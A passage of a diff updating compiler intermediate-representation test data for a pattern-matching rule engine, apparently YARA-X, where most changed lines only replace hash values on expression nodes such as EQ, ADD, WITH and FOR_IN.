+ 143: EQ -- hash: 0xdfd07798b3661e08 + 141: ADD -- hash: 0x3f49e5b7f56b693 139: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 140: CONST integer(27) 142: CONST integer(10) - 148: EQ -- hash: 0x646dc1abec7c9c26 - 146: ADD -- hash: 0x57db135115981921 + 148: EQ -- hash: 0xcbfb90dc844ee260 + 146: ADD -- hash: 0xacae2902931b8c7e 144: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 145: CONST integer(28) 147: CONST integer(10) - 153: EQ -- hash: 0x5098daefc165607e - 151: ADD -- hash: 0x949df8295cef0d + 153: EQ -- hash: 0xb826aa205937a6b8 + 151: ADD -- hash: 0x5567b3a9a6e0626a 149: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 150: CONST integer(29) 152: CONST integer(10) - 158: EQ -- hash: 0x3cc3f433964e24d6 - 156: ADD -- hash: 0xa94e289f3d21c4f8 + 158: EQ -- hash: 0xa451c3642e206b10 + 156: ADD -- hash: 0xfe213e50baa53855 154: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 155: CONST integer(30) 157: CONST integer(10) - 163: EQ -- hash: 0x28ef0d776b36e92e - 161: ADD -- hash: 0x5207b34650e69ae4 + 163: EQ -- hash: 0x907cdca803092f68 + 161: ADD -- hash: 0xa6dac8f7ce6a0e41 159: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 160: CONST integer(31) 162: CONST integer(10) - 168: EQ -- hash: 0x151a26bb3c1fad86 - 166: ADD -- hash: 0xfac13ded64ab70cf + 168: EQ -- hash: 0x7ca7f5ebd7f1f3c0 + 166: ADD -- hash: 0x4f94539ee22ee42d 164: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 165: CONST integer(32) 167: CONST integer(10) - 173: EQ -- hash: 0x1453fff110871de - 171: ADD -- hash: 0xa37ac894787046bb + 173: EQ -- hash: 0x68d30f2fa8dab818 + 171: ADD -- hash: 0xf84dde45f5f3ba18 169: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 170: CONST integer(33) 172: CONST integer(10) - 178: EQ -- hash: 0xed705942e5f13635 - 176: ADD -- hash: 0x4c34533b8c351ca7 + 178: EQ -- hash: 0x54fe28737dc37c70 + 176: ADD -- hash: 0xa10768ed09b89004 174: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 175: CONST integer(34) 177: CONST integer(10) - 183: EQ -- hash: 0xd99b7286bad9fa8d - 181: ADD -- hash: 0xf4eddde2a3f9f292 + 183: EQ -- hash: 0x412941b752ac40c8 + 181: ADD -- hash: 0x49c0f3941d7d65f0 179: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 180: CONST integer(35) 182: CONST integer(10) - 188: EQ -- hash: 0xc5c68bca8fc2bee5 - 186: ADD -- hash: 0x9da76889b7bec87e + 188: EQ -- hash: 0x2d545afb27950520 + 186: ADD -- hash: 0xf27a7e3b31423bdb 184: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 185: CONST integer(36) 187: CONST integer(10) - 193: EQ -- hash: 0xb1f1a50e60ab833d - 191: ADD -- hash: 0x4660f330cb839e6a + 193: EQ -- hash: 0x197f743ef87dc978 + 191: ADD -- hash: 0x9b3408e2450711c7 189: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 190: CONST integer(37) 192: CONST integer(10) - 198: EQ -- hash: 0x9e1cbe5235944795 - 196: ADD -- hash: 0xef1a7dd7df487455 + 198: EQ -- hash: 0x5aa8d82cd668dd0 + 196: ADD -- hash: 0x43ed938958cbe7b3 194: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 195: CONST integer(38) 197: CONST integer(10) - 203: EQ -- hash: 0x8a47d7960a7d0bed - 201: ADD -- hash: 0x97d4087ef30d4a41 + 203: EQ -- hash: 0xf1d5a6c6a24f5227 + 201: ADD -- hash: 0xeca71e306c90bd9e 199: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 200: CONST integer(39) 202: CONST integer(10) - 208: EQ -- hash: 0x7672f0d9df65d045 - 206: ADD -- hash: 0x408d932606d2202d + 208: EQ -- hash: 0xde00c00a7738167f + 206: ADD -- hash: 0x9560a8d78055938a 204: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 205: CONST integer(40) 207: CONST integer(10) - 213: EQ -- hash: 0x629e0a1db04e949d - 211: ADD -- hash: 0xe9471dcd1a96f618 + 213: EQ -- hash: 0xca2bd94e4820dad7 + 211: ADD -- hash: 0x3e1a337e941a6976 209: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 210: CONST integer(41) 212: CONST integer(10) - 218: EQ -- hash: 0x4ec92361853758f5 - 216: ADD -- hash: 0x9200a8742e5bcc04 + 218: EQ -- hash: 0xb656f2921d099f2f + 216: ADD -- hash: 0xe6d3be25abdf3f61 214: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 215: CONST integer(42) 217: CONST integer(10) - 223: EQ -- hash: 0x3af43ca55a201d4d - 221: ADD -- hash: 0x3aba331b4220a1f0 + 223: EQ -- hash: 0xa2820bd5f1f26387 + 221: ADD -- hash: 0x8f8d48ccbfa4154d 219: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 220: CONST integer(43) 222: CONST integer(10) - 228: EQ -- hash: 0x271f55e92f08e1a5 - 226: ADD -- hash: 0xe373bdc255e577db + 228: EQ -- hash: 0x8ead2519c6db27df + 226: ADD -- hash: 0x3846d373d368eb39 224: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 225: CONST integer(44) 227: CONST integer(10) - 233: EQ -- hash: 0x134a6f2d03f1a5fd - 231: ADD -- hash: 0x8c2d486969aa4dc7 + 233: EQ -- hash: 0x7ad83e5d9bc3ec37 + 231: ADD -- hash: 0xe1005e1ae72dc124 229: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 230: CONST integer(45) 232: CONST integer(10) - 238: EQ -- hash: 0xff758870d4da6a54 - 236: ADD -- hash: 0x34e6d3107d6f23b3 + 238: EQ -- hash: 0x670357a16cacb08f + 236: ADD -- hash: 0x89b9e8c1faf29710 234: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 235: CONST integer(46) 237: CONST integer(10) - 243: EQ -- hash: 0xeba0a1b4a9c32eac - 241: ADD -- hash: 0xdda05db79133f99e + 243: EQ -- hash: 0x532e70e5419574e7 + 241: ADD -- hash: 0x327373690eb76cfc 239: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 240: CONST integer(47) 242: CONST integer(10) - 248: EQ -- hash: 0xd7cbbaf87eabf304 - 246: ADD -- hash: 0x8659e85ea4f8cf8a + 248: EQ -- hash: 0x3f598a29167e393f + 246: ADD -- hash: 0xdb2cfe10227c42e7 244: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 245: CONST integer(48) 247: CONST integer(10) - 253: EQ -- hash: 0xc3f6d43c5394b75c - 251: ADD -- hash: 0x2f137305b8bda576 + 253: EQ -- hash: 0x2b84a36ceb66fd97 + 251: ADD -- hash: 0x83e688b7364118d3 249: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 250: CONST integer(49) 252: CONST integer(10) - 258: EQ -- hash: 0xb021ed80247d7bb4 - 256: ADD -- hash: 0xd7ccfdaccc827b61 + 258: EQ -- hash: 0x17afbcb0bc4fc1ef + 256: ADD -- hash: 0x2ca0135e4a05eebf 254: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 255: CONST integer(50) 257: CONST integer(10) - 263: EQ -- hash: 0x9c4d06c3f966400c - 261: ADD -- hash: 0x80868853e047514d + 263: EQ -- hash: 0x3dad5f491388647 + 261: ADD -- hash: 0xd5599e055dcac4aa 259: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 260: CONST integer(51) 262: CONST integer(10) - 268: EQ -- hash: 0x88782007ce4f0464 - 266: ADD -- hash: 0x294012faf40c2739 + 268: EQ -- hash: 0xf005ef3866214a9e + 266: ADD -- hash: 0x7e1328ac718f9a96 264: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 265: CONST integer(52) 267: CONST integer(10) - 273: EQ -- hash: 0x74a3394ba337c8bc - 271: ADD -- hash: 0xd1f99da20bd0fd24 + 273: EQ -- hash: 0xdc31087c3b0a0ef6 + 271: ADD -- hash: 0x26ccb35385547082 269: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 270: CONST integer(53) 272: CONST integer(10) - 278: EQ -- hash: 0x60ce528f74208d14 - 276: ADD -- hash: 0x7ab328491f95d310 + 278: EQ -- hash: 0xc85c21c00ff2d34e + 276: ADD -- hash: 0xcf863dfa9919466d 274: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 275: CONST integer(54) 277: CONST integer(10) - 283: EQ -- hash: 0x4cf96bd34909516c - 281: ADD -- hash: 0x236cb2f0335aa8fc + 283: EQ -- hash: 0xb4873b03e0db97a6 + 281: ADD -- hash: 0x783fc8a1acde1c59 279: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 280: CONST integer(55) 282: CONST integer(10) - 288: EQ -- hash: 0x392485171df215c4 - 286: ADD -- hash: 0xcc263d97471f7ee7 + 288: EQ -- hash: 0xa0b25447b5c45bfe + 286: ADD -- hash: 0x20f95348c0a2f245 284: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 285: CONST integer(56) 287: CONST integer(10) - 293: EQ -- hash: 0x254f9e5af2dada1c - 291: ADD -- hash: 0x74dfc83e5ae454d3 + 293: EQ -- hash: 0x8cdd6d8b8aad2056 + 291: ADD -- hash: 0xc9b2ddefd467c830 289: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 290: CONST integer(57) 292: CONST integer(10) - 298: EQ -- hash: 0x117ab79ec7c39e74 - 296: ADD -- hash: 0x1d9952e56ea92abf + 298: EQ -- hash: 0x790886cf5f95e4ae + 296: ADD -- hash: 0x726c6896e82c9e1c 294: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 295: CONST integer(58) 297: CONST integer(10) - 303: EQ -- hash: 0xfda5d0e298ac62cb - 301: ADD -- hash: 0xc652dd8c826e00aa + 303: EQ -- hash: 0x6533a013307ea906 + 301: ADD -- hash: 0x1b25f33dfff17408 299: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 300: CONST integer(59) 302: CONST integer(10) - 308: EQ -- hash: 0xe9d0ea266d952723 - 306: ADD -- hash: 0x6f0c68339632d696 + 308: EQ -- hash: 0x515eb95705676d5e + 306: ADD -- hash: 0xc3df7de513b649f3 304: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 305: CONST integer(60) 307: CONST integer(10) - 313: EQ -- hash: 0xd5fc036a427deb7b - 311: ADD -- hash: 0x17c5f2daa9f7ac82 + 313: EQ -- hash: 0x3d89d29ada5031b6 + 311: ADD -- hash: 0x6c99088c277b1fdf 309: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 310: CONST integer(61) 312: CONST integer(10) - 318: EQ -- hash: 0xc2271cae1766afd3 - 316: ADD -- hash: 0xc07f7d81bdbc826d + 318: EQ -- hash: 0x29b4ebdeaf38f60e + 316: ADD -- hash: 0x155293333b3ff5cb 314: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 315: CONST integer(62) 317: CONST integer(10) - 323: EQ -- hash: 0xae5235f1e84f742b - 321: ADD -- hash: 0x69390828d1815859 + 323: EQ -- hash: 0x15e005228021ba66 + 321: ADD -- hash: 0xbe0c1dda4f04cbb6 319: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 320: CONST integer(63) 322: CONST integer(10) - 328: EQ -- hash: 0x9a7d4f35bd383883 - 326: ADD -- hash: 0x11f292cfe5462e45 + 328: EQ -- hash: 0x20b1e66550a7ebe + 326: ADD -- hash: 0x66c5a88162c9a1a2 324: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 325: CONST integer(64) 327: CONST integer(10) - 333: EQ -- hash: 0x86a868799220fcdb - 331: ADD -- hash: 0xbaac1d76f90b0430 + 333: EQ -- hash: 0xee3637aa29f34315 + 331: ADD -- hash: 0xf7f3328768e778e 329: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 330: CONST integer(65) 332: CONST integer(10) - 338: EQ -- hash: 0x72d381bd6709c133 - 336: ADD -- hash: 0x6365a81e0ccfda1c + 338: EQ -- hash: 0xda6150edfedc076d + 336: ADD -- hash: 0xb838bdcf8a534d79 334: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 335: CONST integer(66) 337: CONST integer(10) - 343: EQ -- hash: 0x5efe9b013bf2858b - 341: ADD -- hash: 0xc1f32c52094b008 + 343: EQ -- hash: 0xc68c6a31d3c4cbc5 + 341: ADD -- hash: 0x60f248769e182365 339: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 340: CONST integer(67) 342: CONST integer(10) - 348: EQ -- hash: 0x4b29b4450cdb49e3 - 346: ADD -- hash: 0xb4d8bd6c345985f3 + 348: EQ -- hash: 0xb2b78375a4ad901d + 346: ADD -- hash: 0x9abd31db1dcf951 344: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 345: CONST integer(68) 347: CONST integer(10) - 353: EQ -- hash: 0x3754cd88e1c40e3b - 351: ADD -- hash: 0x5d924813481e5bdf + 353: EQ -- hash: 0x9ee29cb979965475 + 351: ADD -- hash: 0xb2655dc4c5a1cf3c 349: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 350: CONST integer(69) 352: CONST integer(10) - 358: EQ -- hash: 0x237fe6ccb6acd293 - 356: ADD -- hash: 0x64bd2ba5fe331cb + 358: EQ -- hash: 0x8b0db5fd4e7f18cd + 356: ADD -- hash: 0x5b1ee86bd966a528 354: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 355: CONST integer(70) 357: CONST integer(10) - 363: EQ -- hash: 0xfab00108b9596eb - 361: ADD -- hash: 0xaf055d6173a807b6 + 363: EQ -- hash: 0x7738cf412367dd25 + 361: ADD -- hash: 0x3d87312ed2b7b14 359: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 360: CONST integer(71) 362: CONST integer(10) - 368: EQ -- hash: 0xfbd619545c7e5b42 - 366: ADD -- hash: 0x57bee808876cdda2 + 368: EQ -- hash: 0x6363e884f450a17d + 366: ADD -- hash: 0xac91fdba00f050ff 364: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 365: CONST integer(72) 367: CONST integer(10) - 373: EQ -- hash: 0xe801329831671f9a - 371: ADD -- hash: 0x7872af9b31b38e + 373: EQ -- hash: 0x4f8f01c8c93965d5 + 371: ADD -- hash: 0x554b886114b526eb 369: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 370: CONST integer(73) 372: CONST integer(10) - 378: EQ -- hash: 0xd42c4bdc064fe3f2 - 376: ADD -- hash: 0xa931fd56aef68979 + 378: EQ -- hash: 0x3bba1b0c9e222a2d + 376: ADD -- hash: 0xfe0513082879fcd6 374: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 375: CONST integer(74) 377: CONST integer(10) - 383: EQ -- hash: 0xc057651fdb38a84a - 381: ADD -- hash: 0x51eb87fdc2bb5f65 + 383: EQ -- hash: 0x27e53450730aee85 + 381: ADD -- hash: 0xa6be9daf3c3ed2c2 379: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 380: CONST integer(75) 382: CONST integer(10) - 388: EQ -- hash: 0xac827e63ac216ca2 - 386: ADD -- hash: 0xfaa512a4d6803550 + 388: EQ -- hash: 0x14104d9447f3b2dd + 386: ADD -- hash: 0x4f7828565003a8ae 384: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 385: CONST integer(76) 387: CONST integer(10) - 393: EQ -- hash: 0x98ad97a7810a30fa - 391: ADD -- hash: 0xa35e9d4bea450b3c + 393: EQ -- hash: 0x3b66d818dc7735 + 391: ADD -- hash: 0xf831b2fd67c87e99 389: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 390: CONST integer(77) 392: CONST integer(10) - 398: EQ -- hash: 0x84d8b0eb55f2f552 - 396: ADD -- hash: 0x4c1827f2fe09e128 + 398: EQ -- hash: 0xec66801bedc53b8c + 396: ADD -- hash: 0xa0eb3da47b8d5485 394: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 395: CONST integer(78) 397: CONST integer(10) - 403: EQ -- hash: 0x7103ca2f2adbb9aa - 401: ADD -- hash: 0xf4d1b29a11ceb713 + 403: EQ -- hash: 0xd891995fc2adffe4 + 401: ADD -- hash: 0x49a4c84b8f522a71 399: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 400: CONST integer(79) 402: CONST integer(10) - 408: EQ -- hash: 0x5d2ee372ffc47e02 - 406: ADD -- hash: 0x9d8b3d4125938cff + 408: EQ -- hash: 0xc4bcb2a39796c43c + 406: ADD -- hash: 0xf25e52f2a317005c 404: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 405: CONST integer(80) 407: CONST integer(10) - 413: EQ -- hash: 0x4959fcb6d0ad425a - 411: ADD -- hash: 0x4644c7e8395862eb + 413: EQ -- hash: 0xb0e7cbe7687f8894 + 411: ADD -- hash: 0x9b17dd99b6dbd648 409: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 410: CONST integer(81) 412: CONST integer(10) - 418: EQ -- hash: 0x358515faa59606b2 - 416: ADD -- hash: 0xeefe528f4d1d38d6 + 418: EQ -- hash: 0x9d12e52b3d684cec + 416: ADD -- hash: 0x43d16840caa0ac34 414: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 415: CONST integer(82) 417: CONST integer(10) - 423: EQ -- hash: 0x21b02f3e7a7ecb0a - 421: ADD -- hash: 0x97b7dd3660e20ec2 + 423: EQ -- hash: 0x893dfe6f12511144 + 421: ADD -- hash: 0xec8af2e7de65821f 419: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 420: CONST integer(83) 422: CONST integer(10) - 428: EQ -- hash: 0xddb48824f678f62 - 426: ADD -- hash: 0x407167dd74a6e4ae + 428: EQ -- hash: 0x756917b2e739d59c + 426: ADD -- hash: 0x95447d8ef22a580b 424: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 425: CONST integer(84) 427: CONST integer(10) - 433: EQ -- hash: 0xfa0661c6205053b9 - 431: ADD -- hash: 0xe92af284886bba99 + 433: EQ -- hash: 0x619430f6b82299f4 + 431: ADD -- hash: 0x3dfe083605ef2df7 429: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 430: CONST integer(85) 432: CONST integer(10) - 438: EQ -- hash: 0xe6317b09f5391811 - 436: ADD -- hash: 0x91e47d2b9c309085 + 438: EQ -- hash: 0x4dbf4a3a8d0b5e4c + 436: ADD -- hash: 0xe6b792dd19b403e2 434: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 435: CONST integer(86) 437: CONST integer(10) - 443: EQ -- hash: 0xd25c944dca21dc69 - 441: ADD -- hash: 0x3a9e07d2b3f56671 + 443: EQ -- hash: 0x39ea637e61f422a4 + 441: ADD -- hash: 0x8f711d842d78d9ce 439: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 440: CONST integer(87) 442: CONST integer(10) - 448: EQ -- hash: 0xbe87ad919f0aa0c1 - 446: ADD -- hash: 0xe3579279c7ba3c5c + 448: EQ -- hash: 0x26157cc236dce6fc + 446: ADD -- hash: 0x382aa82b413dafba 444: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 445: CONST integer(88) 447: CONST integer(10) - 453: EQ -- hash: 0xaab2c6d573f36519 - 451: ADD -- hash: 0x8c111d20db7f1248 + 453: EQ -- hash: 0x124096060bc5ab54 + 451: ADD -- hash: 0xe0e432d2550285a5 449: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 450: CONST integer(89) 452: CONST integer(10) - 458: EQ -- hash: 0x96dde01944dc2971 - 456: ADD -- hash: 0x34caa7c7ef43e834 + 458: EQ -- hash: 0xfe6baf49dcae6fab + 456: ADD -- hash: 0x899dbd7968c75b91 454: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 455: CONST integer(90) 457: CONST integer(10) - 463: EQ -- hash: 0x8308f95d19c4edc9 - 461: ADD -- hash: 0xdd84326f0308be1f + 463: EQ -- hash: 0xea96c88db1973403 + 461: ADD -- hash: 0x325748207c8c317d 459: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 460: CONST integer(91) 462: CONST integer(10) - 468: EQ -- hash: 0x6f3412a0eeadb221 - 466: ADD -- hash: 0x863dbd1616cd940b + 468: EQ -- hash: 0xd6c1e1d1867ff85b + 466: ADD -- hash: 0xdb10d2c790510768 464: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 465: CONST integer(92) 467: CONST integer(10) - 473: EQ -- hash: 0x5b5f2be4c3967679 - 471: ADD -- hash: 0x2ef747bd2a9269f7 + 473: EQ -- hash: 0xc2ecfb155b68bcb3 + 471: ADD -- hash: 0x83ca5d6ea415dd54 469: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 470: CONST integer(93) 472: CONST integer(10) - 478: EQ -- hash: 0x478a4528947f3ad1 - 476: ADD -- hash: 0xd7b0d2643e573fe2 + 478: EQ -- hash: 0xaf1814592c51810b + 476: ADD -- hash: 0x2c83e815bbdab340 474: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 475: CONST integer(94) 477: CONST integer(10) - 483: EQ -- hash: 0x33b55e6c6967ff29 - 481: ADD -- hash: 0x806a5d0b521c15ce + 483: EQ -- hash: 0x9b432d9d013a4563 + 481: ADD -- hash: 0xd53d72bccf9f892b 479: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 480: CONST integer(95) 482: CONST integer(10) - 488: EQ -- hash: 0x1fe077b03e50c381 - 486: ADD -- hash: 0x2923e7b265e0ebba + 488: EQ -- hash: 0x876e46e0d62309bb + 486: ADD -- hash: 0x7df6fd63e3645f17 484: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 485: CONST integer(96) 487: CONST integer(10) - 493: EQ -- hash: 0xc0b90f4133987d9 - 491: ADD -- hash: 0xd1dd725979a5c1a5 + 493: EQ -- hash: 0x73996024ab0bce13 + 491: ADD -- hash: 0x26b0880af7293503 489: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 490: CONST integer(97) 492: CONST integer(10) - 498: EQ -- hash: 0xf836aa37e4224c30 - 496: ADD -- hash: 0x7a96fd008d6a9791 + 498: EQ -- hash: 0x5fc479687ff4926b + 496: ADD -- hash: 0xcf6a12b20aee0aee 494: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 495: CONST integer(98) 497: CONST integer(10) - 503: EQ -- hash: 0xe461c37bb90b1088 - 501: ADD -- hash: 0x235087a7a12f6d7d + 503: EQ -- hash: 0x4bef92ac50dd56c3 + 501: ADD -- hash: 0x78239d591eb2e0da 499: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 500: CONST integer(99) 502: CONST integer(10) - 508: EQ -- hash: 0xd08cdcbf8df3d4e0 - 506: ADD -- hash: 0xcc0a124eb4f44368 + 508: EQ -- hash: 0x381aabf025c61b1b + 506: ADD -- hash: 0x20dd28003277b6c6 504: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 505: CONST integer(100) 507: CONST integer(10) - 513: EQ -- hash: 0xbcb7f60362dc9938 - 511: ADD -- hash: 0x74c39cf5c8b91954 + 513: EQ -- hash: 0x2445c533faaedf73 + 511: ADD -- hash: 0xc996b2a7463c8cb1 509: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 510: CONST integer(101) 512: CONST integer(10) - 518: EQ -- hash: 0xa8e30f4737c55d90 - 516: ADD -- hash: 0x1d7d279cdc7def40 + 518: EQ -- hash: 0x1070de77cf97a3cb + 516: ADD -- hash: 0x72503d4e5a01629d 514: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 515: CONST integer(102) 517: CONST integer(10) - 523: EQ -- hash: 0x950e288b08ae21e8 - 521: ADD -- hash: 0xc636b243f042c52b + 523: EQ -- hash: 0xfc9bf7bba0806822 + 521: ADD -- hash: 0x1b09c7f56dc63889 519: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 520: CONST integer(103) 522: CONST integer(10) - 528: EQ -- hash: 0x813941cedd96e640 - 526: ADD -- hash: 0x6ef03ceb04079b17 + 528: EQ -- hash: 0xe8c710ff75692c7a + 526: ADD -- hash: 0xc3c3529c818b0e74 524: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 525: CONST integer(104) 527: CONST integer(10) diff --git a/lib/src/compiler/ir/tests/testdata/14.hoisting.ir b/lib/src/compiler/ir/tests/testdata/14.hoisting.ir index 3cae66000..a05cd5877 100644 --- a/lib/src/compiler/ir/tests/testdata/14.hoisting.ir +++ b/lib/src/compiler/ir/tests/testdata/14.hoisting.ir @@ -1,13 +1,13 @@ RULE test_1 - 22: WITH -- hash: 0xf1f8589cad533195 - 21: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 22: WITH -- hash: 0x1576db2f0a696ca7 + 21: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 6: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 7: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } - 24: WITH -- hash: 0xe9d24d3dd581f591 - 23: GT -- hash: 0xab8149e485a34c2f + 24: WITH -- hash: 0x6b193c52322f55ba + 23: GT -- hash: 0x545f960326bf8d 8: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 0 }, type_value: integer(unknown) } 9: CONST integer(0) - 20: FOR_IN -- hash: 0x289160cf1aef79ef + 20: FOR_IN -- hash: 0x53a742d4ea785494 n: Var { frame_id: 1, ty: integer, index: 2 } i: Var { frame_id: 1, ty: integer, index: 3 } max_count: Var { frame_id: 1, ty: integer, index: 4 } @@ -15,11 +15,11 @@ RULE test_1 item: Var { frame_id: 1, ty: unknown, index: 6 } 0: CONST integer(1) 1: CONST integer(5) - 26: WITH -- hash: 0x763bda68a15a3784 - 25: EQ -- hash: 0xa2cc855496d2cb96 + 26: WITH -- hash: 0x46b2af61a3cdaa1 + 25: EQ -- hash: 0xf79f9b0610563ef3 11: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 7 }, type_value: integer(unknown) } 12: CONST integer(3) - 19: FOR_IN -- hash: 0x30775be1f5466b74 + 19: FOR_IN -- hash: 0x73914e6140bb263b n: Var { frame_id: 2, ty: integer, index: 10 } i: Var { frame_id: 2, ty: integer, index: 11 } max_count: Var { frame_id: 2, ty: integer, index: 12 } @@ -27,7 +27,7 @@ RULE test_1 item: Var { frame_id: 2, ty: unknown, index: 14 } 2: CONST integer(1) 3: CONST integer(5) - 18: FOR_IN -- hash: 0x94349f273d98c626 + 18: FOR_IN -- hash: 0xebbef448f345885f n: Var { frame_id: 3, ty: integer, index: 17 } i: Var { frame_id: 3, ty: integer, index: 18 } max_count: Var { frame_id: 3, ty: integer, index: 19 } @@ 